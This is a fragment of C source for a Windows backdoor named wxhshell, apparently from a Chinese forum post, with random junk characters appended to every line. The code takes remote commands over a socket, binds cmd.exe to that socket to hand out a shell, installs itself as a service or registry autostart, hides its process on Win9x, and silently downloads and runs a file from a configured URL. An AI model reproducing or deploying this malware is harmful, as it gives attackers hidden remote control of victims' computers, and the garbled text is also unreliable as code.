  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h ?+vH{}j  
  } 8{p#Nl?U1  
  else { kT&GsR/  
(vbI4&r  
    switch(cmd[0]) { Dfd%Z;Yu  
  4I;$a;R!  
  // 帮助 u:\DqdlU`  
  case '?': { {uiL91j.  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); v79\(BX  
    break; <*djtO  
  } wUmcA~3D  
  // 安装 xc$jG?83#  
  case 'i': { wmit>69S  
    if(Install()) m?`$NJST  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YHo*IX')C?  
    else =|q@ Q`DB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P".rm0@R  
    break; IPlkv{^  
    } Rhh.fV3  
  // 卸载 l`*R !\  
  case 'r': { 'k9 1;T[  
    if(Uninstall()) o>\epQt~/p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rd}|^&e!Dy  
    else ,}$[;$ye  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +K"d\<  
    break; 2sT\+C&H  
    } @5TJ]=  
  // 显示 wxhshell 所在路径 2Xp?O+b#"O  
  case 'p': { 9 H~OC8R:  
    char svExeFile[MAX_PATH]; 6?3\P>`3Y  
    strcpy(svExeFile,"\n\r"); ?rgtbiSW-  
      strcat(svExeFile,ExeFile); mvGj !'  
        send(wsh,svExeFile,strlen(svExeFile),0); ~a.ei^r  
    break; A)u,Hvn  
    } IsB=G-s  
  // 重启 );ZxKGjc4  
  case 'b': { CrEC@5 j  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); K=;oZYNd  
    if(Boot(REBOOT)) 9AZpvQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oF(|NS^  
    else { UN`O*(k[  
    closesocket(wsh); rs:a^W5t  
    ExitThread(0); KoTQc0b!  
    } hSSFmEpr  
    break; -Sj|Y }  
    } x=VLRh%Gvl  
  // 关机 R8fB 8 )  
  case 'd': { + Scw;gO  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); R(DlJ  
    if(Boot(SHUTDOWN)) 0uf)6(f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :<`po4/  
    else { 47 9yG/+\  
    closesocket(wsh); 5U%a$.yr  
    ExitThread(0); 9Zpd=m8dU  
    } F]^ZdJ2  
    break; # ,27,#  
    } <5l!xzvw  
  // 获取shell ,{{Z)"qaH  
  case 's': { C(5B/W6  
    CmdShell(wsh); 4$jb-Aw  
    closesocket(wsh); "9yQDS:  
    ExitThread(0); hIMD2  
    break; i 9wk)  
  } mEDi'!YE"  
  // 退出 l*<RKY8  
  case 'x': { I?%iJ%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +`Ypc  
    CloseIt(wsh); hZLwg7X!   
    break; ;Fm7!@u^0  
    } WY" `wM  
  // 离开 H6]z98  
  case 'q': { +umVl  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); by0M(h  
    closesocket(wsh); $${9 %qPzb  
    WSACleanup(); D$G:#z*  
    exit(1); \*6Ld %:h$  
    break; :sXn*k4v  
        } W\JwEb9Y  
  } /|2 hW`G  
  } 4Rev7Mc  
h;2n2.Q  
  // 提示信息 A>W8^|l6+-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p1(<F_Kta  
} rP7f~"L  
  } @b"J FB|  
`f+l\'.s  
  return; e`Vb.E)  
} AH#klYK  
w-9fskd6e  
// shell模块句柄 ([L5i&DT  
int CmdShell(SOCKET sock) $oU40HA)W]  
{ {9*k \d/;  
STARTUPINFO si; @`Foy  
ZeroMemory(&si,sizeof(si)); ]-G10p}Ph-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !L_\6;aP,x  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %(y0,?*  
PROCESS_INFORMATION ProcessInfo; q\a'pp9d  
char cmdline[]="cmd"; _qQB.Dzo:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /4PV<[ :_  
  return 0; >@9>bI+Q  
} 0NMekVi  
*FrlzIAom  
// 自身启动模式 o>}fKg<  
int StartFromService(void) U4ELlxGe  
{ 0413K_  
typedef struct MC&sM-/  
{ ;OynkZs)  
  DWORD ExitStatus; *%wfR7G[B  
  DWORD PebBaseAddress; j=~c( B  
  DWORD AffinityMask; l2LUcI$ x  
  DWORD BasePriority; aL%amL6CX  
  ULONG UniqueProcessId; Y>i?nC%*  
  ULONG InheritedFromUniqueProcessId; 0755;26Bx  
}   PROCESS_BASIC_INFORMATION; WN%KA TA  
7BDRA},o  
PROCNTQSIP NtQueryInformationProcess; ?XNQ_m8f  
*iVCHQ~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; OfSHZ;,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <"Cacf g  
WYklS<B[  
  HANDLE             hProcess; b 5X~^L  
  PROCESS_BASIC_INFORMATION pbi; DYKJVn7w  
\E3e vU  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !9knF t43  
  if(NULL == hInst ) return 0; O>j_xW]V  
<i(<|/ $  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); WfDpeXdO  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {Ex*8sU%p%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); kt*""&R  
LCMCpEtY*K  
  if (!NtQueryInformationProcess) return 0; 3A(sT}  
}+1Y>W7q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8Vb.%f &I  
  if(!hProcess) return 0; 1JI\e6]I  
v2uyn  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Rg!Fu  
"\9!9U#!  
  CloseHandle(hProcess); ;P#c!  
5_MqpCL  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); M{ mdh\  
if(hProcess==NULL) return 0; E8=8OX/{Y  
u'BuZF  
HMODULE hMod; :"4Pr/}rT  
char procName[255]; c{dge/2yb  
unsigned long cbNeeded; 8(EK17rE `  
6.!Cm$l  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); cnR.J  
B8'e,9   
  CloseHandle(hProcess); ;/Z9M"!u[  
`Y~EL?  
if(strstr(procName,"services")) return 1; // 以服务启动 <[e E5X(  
oS/cS)N20  
  return 0; // 注册表启动 N=QeeAI}}m  
} l12_&o"C~  
9$u'2TV  
// 主模块 g5 J[ut  
int StartWxhshell(LPSTR lpCmdLine) )Uv lEG']  
{ !5;A.f  
  SOCKET wsl; jeM/8~^4-  
BOOL val=TRUE; [8o!X)  
  int port=0; t)*MLg<C  
  struct sockaddr_in door; R\B-cU[,  
nf7l}^/UE  
  if(wscfg.ws_autoins) Install(); lStYfO:<'v  
JQhw>H9&  
port=atoi(lpCmdLine); :q xd])-  
Xo{|m[,  
if(port<=0) port=wscfg.ws_port; Gs% cod  
=&J 7 'nDP  
  WSADATA data; >+ZG {'!j  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; JToc("V  
&GC`4!H  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   dvAvG.;U  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); wK_I"  
  door.sin_family = AF_INET; "AzA|zk')"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0?tn.<'B8T  
  door.sin_port = htons(port); 7eh<>X!TX  
?5A!/`E&%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,&1DKx  
closesocket(wsl); d&dp#)._8  
return 1; /"Bm1  
} Z*}5M4  
$:#{Y;d  
  if(listen(wsl,2) == INVALID_SOCKET) { 8%dE$smH  
closesocket(wsl); ){PL6|5x  
return 1; BixKK$Lo  
} &3SQVOW ~T  
  Wxhshell(wsl); 8e`'Ox_5a  
  WSACleanup(); /a?*Ap5"  
]5+db0  
return 0; lm?1 K:+[  
L|7F%oR  
} Q!%4Iq%jr  
uz(3ml^S  
// 以NT服务方式启动 :jol Nl|a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /$ -^k[%  
{ vakAl;  
DWORD   status = 0; $\0%"S  
  DWORD   specificError = 0xfffffff; PfaBzi9?f  
:Kl~hzVSOa  
  serviceStatus.dwServiceType     = SERVICE_WIN32; JP2zom  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |6%B2I&c  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 'Y ZYRFWXM  
  serviceStatus.dwWin32ExitCode     = 0; FY^[?lj  
  serviceStatus.dwServiceSpecificExitCode = 0; dU7+rc2,CU  
  serviceStatus.dwCheckPoint       = 0; (QPfrR=J4  
  serviceStatus.dwWaitHint       = 0; BrdHTk= Vy  
Ye'=F  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); x*G-?Xza)  
  if (hServiceStatusHandle==0) return; dPdodjSu,!  
GWNLET  
status = GetLastError(); { *"I4  
  if (status!=NO_ERROR) jIq@@8@o  
{ ^ di[J^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;\F3~rl  
    serviceStatus.dwCheckPoint       = 0; CnJrJ>l  
    serviceStatus.dwWaitHint       = 0; t8Sblgq  
    serviceStatus.dwWin32ExitCode     = status; {Lex((  
    serviceStatus.dwServiceSpecificExitCode = specificError; om`x"x&6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ag3[Nu1  
    return; ,X[l C\1a  
  } Z'P>sV  
{&2a H> V/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Q-3o k7  
  serviceStatus.dwCheckPoint       = 0; U#I 8Rd I,  
  serviceStatus.dwWaitHint       = 0; ,cbCt  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "k)}qI{  
} Osb#<9{}  
:u%Jrc (W  
// 处理NT服务事件,比如:启动、停止 4,8=0[eRG  
VOID WINAPI NTServiceHandler(DWORD fdwControl) N3D{t\hg  
{ )jM' x&Vg  
switch(fdwControl) =l  %  
{ e/pZLj]M  
case SERVICE_CONTROL_STOP: tevB2'3^  
  serviceStatus.dwWin32ExitCode = 0; i'GBj,:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; q~[@(+zP5  
  serviceStatus.dwCheckPoint   = 0; *} pl  
  serviceStatus.dwWaitHint     = 0; tOJK~%'  
  { 1Na*7|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4z^ ?3@:K  
  } (]JZ1s|  
  return; sD|P*ir  
case SERVICE_CONTROL_PAUSE: P8hA<{UFS\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; f^P:eBgpx  
  break; Uxla,CCp-  
case SERVICE_CONTROL_CONTINUE: ~ .}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; PSOW}Y|q  
  break; e)pQh& uD  
case SERVICE_CONTROL_INTERROGATE: y4%u< /  
  break; tE i-0J  
}; E?{{z4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?;s}GpEY:  
} njbEw4nX  
^BDM'  
// 标准应用程序主函数 a J%&Y5L  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %?GLMf7)  
{ n"[VM=YGI  
k<aKT?Ek>  
// 获取操作系统版本 5XK}8\  
OsIsNt=GetOsVer(); -8j<`(M' 5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^hG Y,\K9  
_0~WT  
  // 从命令行安装 ]}KoW?M  
  if(strpbrk(lpCmdLine,"iI")) Install(); aR3R,6ec  
f}jo18z%  
  // 下载执行文件 'hTA O1n8  
if(wscfg.ws_downexe) { |'w_5?|4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) K4]42#  
  WinExec(wscfg.ws_filenam,SW_HIDE); Rgb1B3gu  
} {`2R<O  
.T*K4m{b0  
if(!OsIsNt) { :6~DOvY  
// 如果时win9x,隐藏进程并且设置为注册表启动 O}4(v#  
HideProc(); r:[N#*kK  
StartWxhshell(lpCmdLine); 7+I%0U}m  
} t<_Jx<{2  
else :lF[k`S T  
  if(StartFromService()) !ke_?+ 8sY  
  // 以服务方式启动 l>l)m-;O  
  StartServiceCtrlDispatcher(DispatchTable); aNZJs<3;'D  
else BXNt@%  
  // 普通方式启动 ']nB_x7  
  StartWxhshell(lpCmdLine); [@SLt$9"  
4dkU;Ob  
return 0; -P|EV|8=  
}
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只看该作者 1 发表于: 2006-10-10
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